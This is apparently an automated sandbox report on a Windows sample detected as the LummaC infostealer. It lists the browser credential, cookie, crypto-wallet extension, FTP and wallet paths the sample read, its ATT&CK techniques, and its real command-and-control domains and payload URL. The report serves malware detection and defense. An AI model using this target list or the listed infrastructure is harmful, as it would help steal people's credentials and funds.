Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\FACWLRWHGG	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\MQAWXUYAIK	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\TQDGENUHWP	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior

Source: Yara match

File source: Process Memory Space: v5Evrl41VR.exe PID: 7860, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: v5Evrl41VR.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	41 Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
v5Evrl41VR.exe	55%	Virustotal		Browse
v5Evrl41VR.exe	61%	ReversingLabs	Win32.Infostealer.Tinba
v5Evrl41VR.exe	100%	Avira	TR/Crypt.TPM.Gen
v5Evrl41VR.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/off/def.exeb	0%	Avira URL Cloud	safe
http://185.215.113.16/off/def.exeh	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/v	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiA/02	100%	Avira URL Cloud	malware
http://185.215.113.16//9K	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/a	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/Y	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/s)	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/900	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	23.55.153.106	true	false	high
lev-tolstoi.com	104.21.66.86	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
scentniej.buzz	unknown	unknown	false	high
prisonyfork.buzz	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
rebuildeso.buzz	unknown	unknown	false	high
appliacnesot.buzz	unknown	unknown	false	high
hummskitnj.buzz	unknown	unknown	false	high
mindhandru.buzz	unknown	unknown	false	high
screwamusresz.buzz	unknown	unknown	false	high
cashfuzysao.buzz	unknown	unknown	false	high
inherineau.buzz	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
https://lev-tolstoi.com/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	false		high
https://player.vimeo.com	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeb	v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/v	v5Evrl41VR.exe, 00000000.00000003.1618521680.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s	v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://lev-tolstoi.com/s)	v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_106.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_110.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_106.6.dr	false		high
http://www.valvesoftware.com/legal.htm	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://lev-tolstoi.com/Y	v5Evrl41VR.exe, 00000000.00000003.1565220935.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1527631377.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510375337.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488322817.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1510523637.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1618598267.0000000000C87000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1488500343.0000000000C89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_106.6.dr	false		high
https://aka.ms/pshelpmechoose	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_106.6.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_130.6.dr, chromecache_110.6.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_130.6.dr, chromecache_110.6.dr	false		high
